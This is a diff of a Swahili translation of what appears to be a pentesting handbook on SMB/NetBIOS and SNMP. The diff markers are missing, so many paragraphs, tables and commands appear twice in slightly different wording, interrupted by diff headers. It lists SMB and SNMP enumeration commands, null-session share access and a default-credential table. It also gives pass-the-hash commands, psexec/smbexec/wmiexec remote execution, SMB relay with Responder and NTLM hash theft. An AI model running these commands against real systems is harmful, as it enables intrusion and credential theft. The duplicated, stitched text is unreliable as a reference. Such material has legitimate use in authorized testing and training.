_**Network Basic Input Output System**_** (NetBIOS)** ni protokali ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kuwezesha uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za programu zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (ikienda kama mteja) inatoa amri ya "kuita" programu nyingine (ikienda kama seva) ikitumia **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Kitaalamu, Port 139 inajulikana kama NBT over IP, wakati Port 445 inatambulika kama SMB over IP. Kifupi **SMB** kinamaanisha **Server Message Blocks**, ambayo pia inajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao.
Kitaalamu, Port 139 inajulikana kama NBT over IP, wakati Port 445 inatambulika kama SMB over IP. Kifupi **SMB** kinamaanisha **Server Message Blocks**, ambacho pia kinajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao.
Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya kazi moja kwa moja juu ya TCP/IP, ikiondoa hitaji la NetBIOS juu ya TCP/IP, kupitia matumizi ya port 445. Kinyume chake, kwenye mifumo tofauti, matumizi ya port 139 yanaonekana, ikionyesha kwamba SMB inatekelezwa pamoja na NetBIOS juu ya TCP/IP.
```
@ -20,7 +20,7 @@ Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya k
Protokali ya **Server Message Block (SMB)**, inayofanya kazi katika mfano wa **mteja-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, directories, na rasilimali nyingine za mtandao kama printers na routers. Kimsingi inatumika ndani ya mfululizo wa mfumo wa uendeshaji wa **Windows**, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB.
Hisa, zinazowakilisha **sehemu za nasibu za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka kwa muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinafafanua **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.
Hisa, zinazoakisi **sehemu za kiholela za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka kwa muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinaelezea **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.
### IPC$ Share
@ -36,7 +36,7 @@ Funguo hii ni muhimu kwa wasimamizi wa mtandao na wataalamu wa usalama kutathmin
```bash
enum4linux -a target_ip
```
Amri ya juu ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uainishaji kamili dhidi ya lengo lililoainishwa na `target_ip`.
Amri ya juu ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uainishaji kamili dhidi ya lengo lililobainishwa na `target_ip`.
## Nini NTLM
@ -54,9 +54,9 @@ nbtscan -r 192.168.0.1/24
```
### SMB server version
Ili kutafuta uwezekano wa kutumia udhaifu kwenye toleo la SMB, ni muhimu kujua ni toleo gani linatumika. Ikiwa taarifa hii haionekani katika zana nyingine zinazotumika, unaweza:
Ili kutafuta uwezekano wa kutumia udhaifu kwenye toleo la SMB, ni muhimu kujua ni toleo gani linatumika. Ikiwa taarifa hii haitokei katika zana nyingine zinazotumika, unaweza:
- Tumia moduli ya **MSF** ya ziada \_**auxiliary/scanner/smb/smb_version**
- Tumia moduli ya **MSF** ya ziada `**auxiliary/scanner/smb/smb_version**`
- Au skripti hii:
```bash
#!/bin/sh
@ -81,15 +81,15 @@ searchsploit microsoft smb
```
### **Mikopo** Inayowezekana
| **Jina la mtumiaji(s)** | **Nywila za kawaida** |
| ------------------------ | ----------------------------------------- |
| _(bila)_ | _(bila)_ |
| mgeni | _(bila)_ |
| Msimamizi, admin | _(bila)_, nywila, msimamizi, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| jaribio, maabara, onyesho | nywila, jaribio, maabara, onyesho |
| **Jina la mtumiaji** | **Nywila za kawaida** |
| --------------------- | ----------------------------------------- |
| _(bila)_ | _(bila)_ |
| mgeni | _(bila)_ |
| Msimamizi, admin | _(bila)_, nywila, msimamizi, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| jaribio, maabara, onyesho | nywila, jaribio, maabara, onyesho |
### Nguvu ya Brute
@ -119,7 +119,7 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Orodha Watumiaji, Vikundi & Watumiaji Walioingia
### Orodha ya Watumiaji, Vikundi & Watumiaji Walioingia
Taarifa hii inapaswa kuwa tayari imekusanywa kutoka enum4linux na enum4linux-ng
```bash
@ -169,7 +169,7 @@ rpcclient-enumeration.md
### Orodha ya folda zilizoshirikiwa
Daima inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akidi jaribu kutumia **null** **credentials/mtembezi wa wageni**.
Kila wakati inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akidi jaribu kutumia **null** **credentials/mtembezi wa wageni**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -183,7 +183,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Unganisha/Orodhesha folda iliyoshirikiwa**
### **Unganisha/Ondoa orodha ya folda iliyoshirikiwa**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Kuhesabu kwa mikono sehemu za windows na kuungana nazo**
Inaweza kuwa nawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono unaweza kutaka kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa unatumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji nayo au sehemu hiyo haipo kabisa.
Inawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono, unaweza kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa ukitumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji nayo au sehemu hiyo haipo kabisa.
Majina ya kawaida ya sehemu kwa malengo ya windows ni
@ -217,7 +217,7 @@ Unaweza kujaribu kuungana nazo kwa kutumia amri ifuatayo
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
au kwa script hii (ikitumia kikao kisicho na thamani)
au kwa ajili ya script hii (ikitumia kikao kisicho na thamani)
```bash
#/bin/bash
@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
### **Kagua hisa kutoka Windows / bila zana za upande wa tatu**
PowerShell
```powershell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
@ -291,16 +291,16 @@ smbclient //<IP>/<share>
```
Amri:
- mask: inabainisha mask inayotumika kuchuja faili ndani ya directory (kwa mfano, "" kwa faili zote)
- recurse: inawasha recursion (kawaida: off)
- mask: inabainisha kivuli ambacho kinatumika kuchuja faili ndani ya saraka (kwa mfano, "" kwa faili zote)
- recurse: inawasha urudiwa (kawaida: off)
- prompt: inawasha kuomba majina ya faili off (kawaida: on)
- mget: inakopi faili zote zinazolingana na mask kutoka kwa mwenyeji hadi mashine ya mteja
- mget: inakopi faili zote zinazolingana na kivuli kutoka kwa mwenyeji hadi mashine ya mteja
(_Taarifa kutoka kwa manpage ya smbclient_)
### Utafutaji wa Folda za Kshared za Domain
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@ -310,7 +310,7 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zinaweza kuwa na nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina nyaraka za kuingia.
Maana maalum kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zinaweza kuwa na nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina taarifa za kuingia.
> [!NOTE]
> **SYSVOL share** inaweza **kusomwa** na watumiaji wote walioidhinishwa katika eneo. Ndani yake unaweza **kupata** batch nyingi tofauti, VBScript, na **scripts** za PowerShell.\
@ -318,7 +318,7 @@ Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani *
## Soma Registry
Unaweza kuwa na uwezo wa **kusoma registry** ukitumia baadhi ya nyaraka zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu:
Unaweza kuwa na uwezo wa **kusoma registry** ukitumia baadhi ya taarifa za kuingia zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -329,16 +329,16 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
**Mipangilio ya default ya** server ya **Samba** kwa kawaida hupatikana katika `/etc/samba/smb.conf` na inaweza kuwa na **mipangilio hatari**:
| **Mipangilio** | **Maelezo** |
| --------------------------- | ------------------------------------------------------------------ |
| `browseable = yes` | Ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa? |
| `read only = no` | Kataza uundaji na mabadiliko ya faili? |
| `writable = yes` | Ruhusu watumiaji kuunda na kubadilisha faili? |
| `guest ok = yes` | Ruhusu kuungana na huduma bila kutumia nenosiri? |
| `enable privileges = yes` | Heshimu mamlaka zilizotolewa kwa SID maalum? |
| `create mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa? |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa? |
| `read only = no` | Kataza uundaji na mabadiliko ya faili? |
| `writable = yes` | Ruhusu watumiaji kuunda na kubadilisha faili? |
| `guest ok = yes` | Ruhusu kuungana na huduma bila kutumia nenosiri? |
| `enable privileges = yes` | Heshimu mamlaka yaliyotolewa kwa SID maalum? |
| `create mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa? |
| `directory mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa directories mpya zilizoundwa?|
| `logon script = script.sh` | Ni script gani inapaswa kutekelezwa wakati wa kuingia kwa mtumiaji?|
| `magic script = script.sh` | Ni script ipi inapaswa kutekelezwa script inapofungwa? |
| `logon script = script.sh` | Ni script gani inahitaji kutekelezwa wakati wa kuingia kwa mtumiaji?|
| `magic script = script.sh` | Ni script ipi inapaswa kutekelezwa wakati script inafungwa? |
| `magic output = script.out` | Wapi matokeo ya script ya kichawi yanapaswa kuhifadhiwa? |
Amri `smbstatus` inatoa taarifa kuhusu **server** na kuhusu **nani ameungana**.
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Chaguo zote mbili **zitaunda huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathirika na kuitumia **kutekeleza kitu** (**psexec** it **pakia** faili la executable kwenye ADMIN$ share na **smbexec** itaanika **cmd.exe/powershell.exe** na kuweka katika hoja payload --**mbinu isiyo na faili-**-).\
Chaguo zote mbili zita **unda huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathirika na kuitumia **kutekeleza kitu** (**psexec** it **pakia** faili la executable kwenye ADMIN$ share na **smbexec** itaanika **cmd.exe/powershell.exe** na kuweka katika hoja payload --**file-less technique-**-).\
**Maelezo zaidi** kuhusu [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)na [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
```bash
@ -392,7 +392,7 @@ Kwa kutumia **parameter**`-k` unaweza kuthibitisha dhidi ya **kerberos** badala
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Fanya kazi ya amri kwa siri bila kugusa diski au kuendesha huduma mpya kwa kutumia DCOM kupitia **port 135.**\
Fanya kwa siri kutekeleza shell ya amri bila kugusa diski au kuendesha huduma mpya kwa kutumia DCOM kupitia **port 135.**\
Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -400,7 +400,7 @@ Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Kwa kutumia **parameter**`-k` unaweza kujiandikisha dhidi ya **kerberos** badala ya **NTLM**
Kwa kutumia **parameter**`-k` unaweza kuthibitisha dhidi ya **kerberos** badala ya **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -428,14 +428,14 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
Shambulio hili linatumia zana ya Responder **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **kifaa cha lengo**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **sistimu**.\
Huu shambulio unatumia zana ya Responder ili **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** kwa **mashine lengwa**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **sistimu** **shell**.\
[**Taarifa zaidi kuhusu shambulio hili hapa.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Maktaba ya Windows URLMon.dll inajaribu moja kwa moja kuthibitisha kwa mwenyeji wakati ukurasa unajaribu kufikia maudhui fulani kupitia SMB, kwa mfano: `img src="\\10.10.10.10\path\image.jpg"`
Hii inatokea na kazi zifuatazo:
Hii inatokea na kazi:
- URLDownloadToFile
- URLDownloadToCache
@ -452,7 +452,7 @@ Ambazo zinatumika na baadhi ya vivinjari na zana (kama Skype)
## NTLM Theft
Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo wa lengo (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](#smb-relay-attack).
Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo wa lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](#smb-relay-attack).
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

View File

@ -15,21 +15,21 @@ PORT STATE SERVICE REASON VERSION
### MIB
Ili kuhakikisha kuwa ufikiaji wa SNMP unafanya kazi kati ya watengenezaji na kwa mchanganyiko tofauti wa mteja-seva, **Management Information Base (MIB)** iliundwa. MIB ni **format huru ya kuhifadhi taarifa za kifaa**. MIB ni **faili ya maandiko** ambayo vitu vyote vinavyoweza kuulizwa vya **SNMP** vya kifaa vimeorodheshwa katika **hierarchi ya miti iliyoandikwa kwa kiwango**. Inajumuisha angalau **`Object Identifier` (`OID`)**, ambayo, pamoja na **anwani ya kipekee** na **jina**, pia inatoa taarifa kuhusu aina, haki za ufikiaji, na maelezo ya kitu husika.\
Mifano ya MIB imeandikwa katika format ya maandiko ya ASCII ya `Abstract Syntax Notation One` (`ASN.1`). **MIBs hazina data**, lakini zinaelezea **wapi kupatikana taarifa gani** na inavyoonekana, ambayo inarudisha thamani kwa OID maalum, au ni aina gani ya data inayotumika.
Ili kuhakikisha kuwa ufikiaji wa SNMP unafanya kazi kati ya watengenezaji na mchanganyiko tofauti wa mteja-seva, **Management Information Base (MIB)** iliundwa. MIB ni **format huru ya kuhifadhi taarifa za kifaa**. MIB ni **faili ya maandiko** ambayo inataja **SNMP objects** zote zinazoweza kuulizwa za kifaa katika **hierarchy ya mti iliyo sanifishwa**. Inajumuisha angalau **`Object Identifier` (`OID`)**, ambayo, pamoja na **anwani ya kipekee** na **jina**, pia inatoa taarifa kuhusu aina, haki za ufikiaji, na maelezo ya kipengele husika.\
Mifano ya MIB imeandikwa katika `Abstract Syntax Notation One` (`ASN.1`) kwa format ya maandiko ya ASCII. **MIBs hazina data**, lakini zinaelezea **wapi kupatikana taarifa gani** na inavyoonekana, ambayo inarudisha thamani kwa OID maalum, au aina gani ya data inatumika.
### OIDs
**Object Identifiers (OIDs)** zina jukumu muhimu. Vitambulisho hivi vya kipekee vimeundwa ili kusimamia vitu ndani ya **Management Information Base (MIB)**.
**Object Identifiers (OIDs)** zina jukumu muhimu. Vitambulisho hivi vya kipekee vimeundwa ili kudhibiti vitu ndani ya **Management Information Base (MIB)**.
Viwango vya juu zaidi vya vitambulisho vya MIB, au OIDs, vimepewa mashirika mbalimbali yanayoweka viwango. Ni ndani ya viwango hivi vya juu ambapo mfumo wa mazoea na viwango vya usimamizi wa kimataifa umeanzishwa.
Viwango vya juu vya IDs za MIB, au OIDs, vimepewa mashirika mbalimbali yanayoweka viwango. Ni ndani ya viwango hivi vya juu ambapo mfumo wa mazoea na viwango vya usimamizi wa kimataifa umeanzishwa.
Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi ya kibinafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyo na usimamizi vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti.
Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi binafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyo na usimamizi vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyo na muundo na iliyopangwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti.
![](<../../images/SNMP_OID_MIB_Tree (1).png>)
Unaweza **kuvinjari** kupitia **OID tree** kutoka kwenye wavuti hapa: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) au **ona maana ya OID** (kama `1.3.6.1.2.1.1`) kwa kufikia [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Kuna **OIDs maarufu** kama zile ndani ya [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) zinazorejelea MIB-2 iliyofafanuliwa Simple Network Management Protocol (SNMP) variables. Na kutoka kwa **OIDs zinazotarajiwa kutoka hii** unaweza kupata data ya kuvutia ya mwenyeji (data ya mfumo, data ya mtandao, data ya michakato...)
Kuna **OIDs maarufu** kama zile ndani ya [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) zinazorejelea MIB-2 iliyofafanua Simple Network Management Protocol (SNMP) variables. Na kutoka kwa **OIDs zinazotarajiwa kutoka hii** unaweza kupata data ya kuvutia ya mwenyeji (data ya mfumo, data ya mtandao, data ya michakato...)
### **OID Mfano**
@ -44,7 +44,7 @@ Hapa kuna ufafanuzi wa anwani hii.
- 6 hii ni dod au Wizara ya Ulinzi ambayo ni shirika lililoanzisha Mtandao kwanza.
- 1 hii ni thamani ya mtandao kuashiria kuwa mawasiliano yote yatatokea kupitia Mtandao.
- 4 thamani hii inaashiria kuwa kifaa hiki kimeundwa na shirika binafsi na si la serikali.
- 1 thamani hii inaashiria kuwa kifaa kimeundwa na kampuni au shirika la biashara.
- 1 thamani hii inaashiria kuwa kifaa kimeundwa na shirika au kampuni.
Thamani hizi sita za kwanza huwa sawa kwa vifaa vyote na zinakupa taarifa za msingi kuhusu hivyo. Mfuatano huu wa nambari utakuwa sawa kwa OIDs zote, isipokuwa wakati kifaa kimeundwa na serikali.
@ -68,7 +68,7 @@ Thamani zilizobaki zinatoa taarifa maalum kuhusu kifaa.
Kuna toleo 2 muhimu za SNMP:
- **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitishaji unategemea mfuatano** (community string) unaosafiri kwa **maandishi wazi** (maelezo yote yanatembea kwa maandiko wazi). **Toleo 2 na 2c** pia hutuma **trafiki kwa maandiko wazi** na hutumia **mfuatano wa jamii kama uthibitishaji**.
- **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitishaji unategemea mfuatano** (community string) unaosafiri kwa **maandishi wazi** (maelezo yote yanatembea kwa maandiko wazi). **Toleo la 2 na 2c** pia hutuma **trafiki kwa maandiko wazi** na hutumia **mfuatano wa jamii kama uthibitishaji**.
- **SNMPv3**: Inatumia aina bora ya **uthibitishaji** na taarifa inasafiri **imefichwa** (attack ya kamusi inaweza kufanywa lakini itakuwa ngumu zaidi kupata creds sahihi kuliko katika SNMPv1 na v2).
### Community Strings
@ -80,7 +80,7 @@ Kuna **aina 2 za mfuatano wa jamii**:
- **`private`** **Soma/Andika** kwa ujumla
Kumbuka kuwa **uwezo wa kuandika OID unategemea mfuatano wa jamii unaotumika**, hivyo **hata** kama unapata kuwa "**public**" inatumika, unaweza kuwa na uwezo wa **kuandika baadhi ya thamani.** Pia, kuna **weza** kuwepo vitu ambavyo ni **daima "Soma Tu".**\
Ikiwa unajaribu **kuandika** kitu, **kosa `noSuchName` au `readOnly`** linapokelewa\*\*.\*\*
Ikiwa unajaribu **kuandika** kipengele, **kosa `noSuchName` au `readOnly` linapokelewa**.
Katika matoleo 1 na 2/2c ikiwa utatumia mfuatano wa jamii **mbaya** seva haitajibu. Hivyo, ikiwa inajibu, **mfuatano wa jamii halali umetumika**.
@ -88,7 +88,7 @@ Katika matoleo 1 na 2/2c ikiwa utatumia mfuatano wa jamii **mbaya** seva haitaji
[From Wikipedia](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
- Wakala wa SNMP hupokea maombi kwenye bandari **161/UDP**.
- Wakala wa SNMP hupokea maombi kwenye bandari ya UDP **161**.
- Meneja hupokea arifa ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) na [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) kwenye bandari **162**.
- Wakati inapotumika na [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) au [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), maombi yanapokelewa kwenye bandari **10161** na arifa zinatumwa kwenye bandari **10162**.
@ -121,17 +121,17 @@ nmap --script "snmp* and not snmp-brute" <target>
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```
Shukrani kwa maswali yaliyopanuliwa (download-mibs), inawezekana kuorodhesha zaidi kuhusu mfumo kwa kutumia amri ifuatayo:
Shukrani kwa maswali ya kupanuliwa (download-mibs), inawezekana kuorodhesha zaidi kuhusu mfumo kwa kutumia amri ifuatayo:
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** ina taarifa nyingi kuhusu mwenyeji na mambo ambayo unaweza kuyapata ya kuvutia ni: **Interfaces za Mtandao** (anwani za **IPv4** na **IPv6**), Majina ya Watumiaji, Wakati wa Uendeshaji, Toleo la Server/OS, na **mchakato**
**SNMP** ina taarifa nyingi kuhusu mwenyeji na mambo ambayo unaweza kupendezwa nayo ni: **Mifumo ya mtandao** (anwani za **IPv4** na **IPv6**), Majina ya watumiaji, Wakati wa kufanya kazi, Toleo la Server/OS, na **mchakato**
**unaotembea** (inaweza kuwa na nywila)....
### **Mipangilio Hatari**
Katika eneo la usimamizi wa mtandao, mipangilio na vigezo fulani ni muhimu kuhakikisha ufuatiliaji na udhibiti wa kina.
Katika eneo la usimamizi wa mtandao, mipangilio na vigezo fulani ni muhimu kwa kuhakikisha ufuatiliaji na udhibiti wa kina.
### Mipangilio ya Ufikiaji
@ -142,19 +142,19 @@ Mipangilio miwili kuu inaruhusu ufikiaji wa **mti mzima wa OID**, ambao ni sehem
- **`rwcommunity`** kwa anwani za **IPv4**, na
- **`rwcommunity6`** kwa anwani za **IPv6**.
Amri zote zinahitaji **nywila ya jamii** na anwani husika ya IP, zikitoa ufikiaji kamili bila kujali chanzo cha ombi.
Amri zote zinahitaji **nywila ya jamii** na anwani husika ya IP, zikitoa ufikiaji kamili bila kujali asili ya ombi.
### Vigezo vya SNMP kwa Microsoft Windows
Mfululizo wa **Thamani za Msingi wa Taarifa za Usimamizi (MIB)** hutumiwa kufuatilia vipengele mbalimbali vya mfumo wa Windows kupitia SNMP:
Mfululizo wa **thamani za Msingi wa Taarifa za Usimamizi (MIB)** hutumiwa kufuatilia vipengele mbalimbali vya mfumo wa Windows kupitia SNMP:
- **Mchakato wa Mfumo**: Inapatikana kupitia `1.3.6.1.2.1.25.1.6.0`, vigezo hivi vinaruhusu ufuatiliaji wa michakato hai ndani ya mfumo.
- **Programu Zinazoendesha**: Thamani ya `1.3.6.1.2.1.25.4.2.1.2` imetengwa kwa ajili ya kufuatilia programu zinazotembea kwa sasa.
- **Njia za Michakato**: Ili kubaini mahali mchakato unapoendesha, thamani ya `1.3.6.1.2.1.25.4.2.1.4` ya MIB inatumika.
- **Njia za Michakato**: Ili kubaini mahali ambapo mchakato unatembea, thamani ya `1.3.6.1.2.1.25.4.2.1.4` ya MIB inatumika.
- **Vitengo vya Hifadhi**: Ufuatiliaji wa vitengo vya hifadhi unarahisishwa na `1.3.6.1.2.1.25.2.3.1.4`.
- **Jina la Programu**: Ili kubaini programu iliyosanikishwa kwenye mfumo, `1.3.6.1.2.1.25.6.3.1.2` inatumika.
